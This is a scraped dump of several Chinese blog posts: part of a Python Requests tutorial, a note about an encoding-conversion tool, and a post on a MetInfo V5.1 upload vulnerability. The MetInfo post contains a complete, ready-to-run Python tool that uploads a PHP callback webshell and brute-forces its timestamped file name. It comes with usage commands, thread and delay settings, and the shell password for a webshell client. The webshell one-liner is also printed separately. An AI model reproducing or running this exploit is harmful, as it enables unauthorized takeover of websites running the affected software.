\u0026gt;\u0026gt;\u0026gt; r.raise_for_status() None 一切都挺和谐哈。\n响应头 我们可以查看以一个Python字典形式展示的服务器响应头:\n1 2 3 4 5 6 7 8 9 10 \u0026gt;\u0026gt;\u0026gt; r.headers { \u0026#39;content-encoding\u0026#39;: \u0026#39;gzip\u0026#39;, \u0026#39;transfer-encoding\u0026#39;: \u0026#39;chunked\u0026#39;, \u0026#39;connection\u0026#39;: \u0026#39;close\u0026#39;, \u0026#39;server\u0026#39;: \u0026#39;nginx/1.0.4\u0026#39;, \u0026#39;x-runtime\u0026#39;: \u0026#39;148ms\u0026#39;, \u0026#39;etag\u0026#39;: \u0026#39;\u0026#34;e1ca502697e5c9317743dc078f67693f\u0026#34;\u0026#39;, \u0026#39;content-type\u0026#39;: \u0026#39;application/json\u0026#39; } 但是这个字典比较特殊：它是仅为HTTP头部而生的。根据 RFC 2616 ， HTTP头部是大小写不敏感的。\n因此，我们可以使用任意大写形式来访问这些响应头字段:\n1 2 3 4 5 \u0026gt;\u0026gt;\u0026gt; r.headers[\u0026#39;Content-Type\u0026#39;] \u0026#39;application/json\u0026#39; \u0026gt;\u0026gt;\u0026gt; r.headers.get(\u0026#39;content-type\u0026#39;) \u0026#39;application/json\u0026#39; Cookies 如果某个响应中包含一些Cookie，你可以快速访问它们:\n1 2 3 4 5 \u0026gt;\u0026gt;\u0026gt; url = \u0026#39;http://example.com/some/cookie/setting/url\u0026#39; \u0026gt;\u0026gt;\u0026gt; r = requests.get(url) \u0026gt;\u0026gt;\u0026gt; r.cookies[\u0026#39;example_cookie_name\u0026#39;] \u0026#39;example_cookie_value\u0026#39; 要想发送你的cookies到服务器，可以使用 cookies 参数:\n1 2 3 4 5 6 \u0026gt;\u0026gt;\u0026gt; url = \u0026#39;http://httpbin.org/cookies\u0026#39; \u0026gt;\u0026gt;\u0026gt; cookies = dict(cookies_are=\u0026#39;working\u0026#39;) \u0026gt;\u0026gt;\u0026gt; r = requests.get(url, cookies=cookies) \u0026gt;\u0026gt;\u0026gt; r.text \u0026#39;{\u0026#34;cookies\u0026#34;: {\u0026#34;cookies_are\u0026#34;: \u0026#34;working\u0026#34;}}\u0026#39; 重定向与请求历史 默认情况下，除了 HEAD, Requests会自动处理所有重定向。\n可以使用响应对象的 history 方法来追踪重定向。\nResponse.history 是一个:class:Response\u0026lt;requests.Response\u0026gt; 对象的列表，为了完成请求而创建了这些对象。这个对象列表按照从最老到最近的请求进行排序。\n例如，Github将所有的HTTP请求重定向到HTTPS。:\n1 2 3 4 5 6 7 \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#39;http://github.com\u0026#39;) \u0026gt;\u0026gt;\u0026gt; r.url \u0026#39;https://github.com/\u0026#39; \u0026gt;\u0026gt;\u0026gt; r.status_code 200 \u0026gt;\u0026gt;\u0026gt; r.history [\u0026lt;Response [301]\u0026gt;] 如果你使用的是GET, OPTIONS, POST, PUT, PATCH 或者 DELETE,，那么你可以通过 allow_redirects 参数禁用重定向处理:\n1 2 3 4 5 \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#39;http://github.com\u0026#39;, allow_redirects=False) \u0026gt;\u0026gt;\u0026gt; r.status_code 301 \u0026gt;\u0026gt;\u0026gt; r.history [] 如果你使用的是HEAD，你也可以启用重定向:\n1 2 3 4 5 \u0026gt;\u0026gt;\u0026gt; r = requests.head(\u0026#39;http://github.com\u0026#39;, allow_redirects=True) \u0026gt;\u0026gt;\u0026gt; r.url \u0026#39;https://github.com/\u0026#39; \u0026gt;\u0026gt;\u0026gt; r.history [\u0026lt;Response [301]\u0026gt;] 超时 你可以告诉requests在经过以 timeout 参数设定的秒数时间之后停止等待响应:\n1 2 3 4 5 \u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;http://github.com\u0026#39;, timeout=0.001) Traceback (most recent call last): File \u0026#34;\u0026lt;stdin\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; requests.exceptions.Timeout: HTTPConnectionPool(host=\u0026#39;github.com\u0026#39;, port=80): Request timed out. (timeout=0.001) 注:: timeout 仅对连接过程有效，与响应体的下载无关。timeout并不是整个下载响应的时间限制，而是如果服务器在timeout秒内没有应答，将会引发一个异常（更精确地说，是在timeout秒内没有从基础套接字上接收到任何字节的数据时）\n错误与异常 遇到网络问题（如：DNS查询失败、拒绝连接等）时，Requests会抛出一个 ConnectionError 异常。\n遇到罕见的无效HTTP响应时，Requests则会抛出一个 HTTPError 异常。\n若请求超时，则抛出一个 Timeout 异常。\n若请求超过了设定的最大重定向次数，则会抛出一个 TooManyRedirects 异常。\n所有Requests显式抛出的异常都继承自 requests.exceptions.RequestException 。\n","permalink":"https://www.hacktech.cn/post/2016/06/python-requests-install-and-basic-usage/","summary":"\u003chr\u003e\n\u003ch1 id=\"安装\"\u003e安装\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e使用 pip 安装Requests非常简单\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epip install requests\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e或者使用 easy_install 安装\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eeasy_install requests\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003chr\u003e\n\u003ch1 id=\"获得源码\"\u003e获得源码\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003eRequests 一直在Github上被积极的开发着\u003c/p\u003e\n\u003cp\u003e你可以克隆公共版本库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit clone git://github.com/kennethreitz/requests.git\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"Python之Requests的安装与基本使用"},{"content":"闲来无事，写了款编码转换工具\n以我的审美来看，界面应该算美丽\n截图 :\n下载地址： 编码转换工具\n转载请注明出处\n作者博客 www.hacktech.cn\n","permalink":"https://www.hacktech.cn/post/2016/06/tool-encoding-conversion/","summary":"\u003cp\u003e\u003cstrong\u003e闲来无事，写了款编码转换工具\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e以我的审美来看，界面应该算美丽\u003c/strong\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003e截图 :\u003c/strong\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cimg alt=\"Akkuman\" loading=\"lazy\" src=\"/images/uploads/46756156584c37444749666e414755505a4963306a7078515f664845.png\"\u003e\u003c/p\u003e","title":"编码转换工具"},{"content":" 漏洞解析： config/config.inc.php\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $langoks = $db-\u0026gt;get_one(\u0026#34;SELECT * FROM $met_lang WHERE lang=\u0026#39;$lang\u0026#39;\u0026#34;); if(!$langoks)die(\u0026#39;No data in the database,please reinstall.\u0026#39;); if(!$langoks[useok]\u0026amp;\u0026amp;!$metinfoadminok)okinfo(\u0026#39;../404.html\u0026#39;); if(count($met_langok)==1)$lang=$met_index_type; $query = \u0026#34;SELECT * FROM $met_config WHERE lang=\u0026#39;$lang\u0026#39; or lang=\u0026#39;metinfo\u0026#39;\u0026#34;;//看这里 $result = $db-\u0026gt;query($query); while($list_config= $db-\u0026gt;fetch_array($result)){ if($metinfoadminok)$list_config[\u0026#39;value\u0026#39;]=str_replace(\u0026#39;\u0026#34;\u0026#39;, \u0026#39;\u0026amp;#34;\u0026#39;, str_replace(\u0026#34;\u0026#39;\u0026#34;, \u0026#39;\u0026amp;#39;\u0026#39;,$list_config[\u0026#39;value\u0026#39;])); $settings_arr[]=$list_config; if($list_config[\u0026#39;columnid\u0026#39;]){ $settings[$list_config[\u0026#39;name\u0026#39;].\u0026#39;_\u0026#39;.$list_config[\u0026#39;columnid\u0026#39;]]=$list_config[\u0026#39;value\u0026#39;]; }else{ $settings[$list_config[\u0026#39;name\u0026#39;]]=$list_config[\u0026#39;value\u0026#39;]; } } @extract($settings); 访问\nhttp:///localhost/metinfo5.1/index.php?lang=metinfo\nSELECT * FROM met_config WHERE lang='metinfo' or lang='metinfo'\n文件命名方式： /feedback/uploadfile_save.php\n1 2 3 4 5 6 7 srand((double)microtime() * 1000000); $rnd = rand(100, 999); $name = date(\u0026#39;U\u0026#39;) + $rnd; $name = $name.\u0026#34;.\u0026#34;.$ext; 文件保存在/upload/file/目录\n命名方式就是时间戳去掉后三位，紧接着一个三位数的随机数\n可爆破：\n如\nhttp://127.0.0.1/upload/file/1465394396.php\n一键化利用工具： 本程序基于python编写\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #!/usr/bin/env python #-*- coding: utf-8 -*- import requests import Queue import threading import time import sys headers = {\u0026#39;User-Agent\u0026#39;:\u0026#39;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.10 Safari/537.36\u0026#39;} urls = Queue.Queue() #http://hb.jhxjd.com/upload/file/1441445378.php def bp(urls,time_out): while not urls.empty(): base_url = urls.get() response = None try: time.sleep(int(time_out))#延时设置 response = requests.get(base_url,headers=headers) if response.status_code == 404: print \u0026#39;Not Fount----%s\\n\u0026#39; % base_url except: continue finally: if response: with open(\u0026#39;url.txt\u0026#39;,\u0026#39;a+\u0026#39;) as f: f.write(\u0026#39;%s?e=YXNzZXJ0\\n\u0026#39;%base_url) def main(target_url,thread_num,time_out): #取出当前时间戳并删除后四位 now = str(int(time.time()))[:-4] #将所有的待爆破地址遍历并加入队列 for i in range(0,10): for j in range(100,1000): num_str = \u0026#39;\u0026#39;.join((str(i),str(j))) url = \u0026#39;\u0026#39;.join((\u0026#39;%s/upload/file/%s\u0026#39; % (target_url,now),num_str,\u0026#39;.php\u0026#39;)) urls.put(url) #上传文件 with open(\u0026#39;xiaoma.php\u0026#39;,\u0026#39;w+\u0026#39;) as fi: fi.write(\u0026#34;\u0026lt;?php $e = $_REQUEST[\u0026#39;e\u0026#39;];register_shutdown_function(base64_decode($e), $_REQUEST[\u0026#39;Akkuman\u0026#39;]);?\u0026gt;\u0026#34;) data = { \u0026#39;fd_para[1][para]\u0026#39;:\u0026#39;filea\u0026#39;, \u0026#39;fd_para[1][type]\u0026#39;:\u0026#39;5\u0026#39; } files = {\u0026#39;filea\u0026#39;: open(\u0026#34;xiaoma.php\u0026#34;, \u0026#39;rb\u0026#39;)} upload_url = \u0026#39;%s/feedback/uploadfile_save.php?met_file_format=pphphp\u0026amp;met_file_maxsize=9999\u0026amp;lang=metinfo\u0026#39; % target_url res = requests.post(upload_url,data = data,files=files) #等待两秒 文件上传 time.sleep(2) #启动多线程 for i in range(int(thread_num)): t = threading.Thread(target = bp,args=(urls,time_out,)) t.start() if __name__ == \u0026#39;__main__\u0026#39;: if len(sys.argv) != 4: print \u0026#39;Example : %s http://www.xxx.com 20 0\u0026#39; % sys.argv[0] else: main(sys.argv[1],sys.argv[2],sys.argv[3]) 程序略显粗糙\n为了方便，我也把他打包成了exe\n然后闲着没事，想着简单地给他做了个界面,这样的 文件说明 MetInfo V5.1上传漏洞getshell利用工具\n作者 : Akkuman\n漏洞原理详见http://www.wooyun.org/bugs/wooyun-2010-0139168\n使用说明： 本目录有两个文件，一个py，一个exe 因为exe是py文件打包而成，故文件较大 64位系统测试使用通过\n如果你安装了py2.x环境 py文件使用方法 打开cmd python baopo.py http://www.xxx.com 20 0 20是线程数，0是每次请求等待时间（网站限制时可设置为2或3）可以自己指定\nexe命令行文件使用方法 打开cmd baopo.exe http://www.xxx.com 20 0 20是线程数，0是每次请求等待时间（网站限制时可设置为2或3）可以自己指定\nGUI程序，应该不用说\n关于getshell与结果 上传的是回调一句话木马\n1 \u0026lt;?php \u0026gt;$e=$_REQUEST[\u0026#39;e\u0026#39;];register_shutdown_function(base64_decode($e),$_\u0026gt;REQUEST[\u0026#39;Akkuman\u0026#39;]);?\u0026gt; 菜刀连接，密码是Akkuman\n爆破结果会生成在url.txt\n下载地址： (访问码:1475)\n转载请注明出处\n作者博客 www.hacktech.cn\n","permalink":"https://www.hacktech.cn/post/2016/06/metinfo-v5-1-getshell/","summary":"\u003chr\u003e\n\u003ch1 id=\"漏洞解析\"\u003e漏洞解析：\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003econfig/config.inc.php\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e31\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$langoks \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e $db\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eget_one\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SELECT * FROM \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e$met_lang\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e WHERE lang=\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e$lang\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003e$langoks)\u003cspan style=\"color:#66d9ef\"\u003edie\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;No data in the database,please reinstall.\u0026#39;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003e$langoks[\u003cspan style=\"color:#a6e22e\"\u003euseok\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;!\u003c/span\u003e$metinfoadminok)\u003cspan style=\"color:#a6e22e\"\u003eokinfo\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;../404.html\u0026#39;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ecount\u003c/span\u003e($met_langok)\u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)$lang\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e$met_index_type;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$query \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SELECT * FROM \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e$met_config\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e WHERE lang=\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e$lang\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39; or lang=\u0026#39;metinfo\u0026#39;\u0026#34;\u003c/span\u003e;\u003cspan style=\"color:#75715e\"\u003e//看这里\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$result \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e $db\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003equery\u003c/span\u003e($query);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e($list_config\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e $db\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003efetch_array\u003c/span\u003e($result)){\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e($metinfoadminok)$list_config[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;value\u0026#39;\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003estr_replace\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#34;\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026amp;#34;\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003estr_replace\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#39;\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026amp;#39;\u0026#39;\u003c/span\u003e,$list_config[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;value\u0026#39;\u003c/span\u003e]));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t$settings_arr[]\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e$list_config;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e($list_config[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;columnid\u0026#39;\u003c/span\u003e]){\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t$settings[$list_config[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;name\u0026#39;\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;_\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e$list_config[\u003cspan 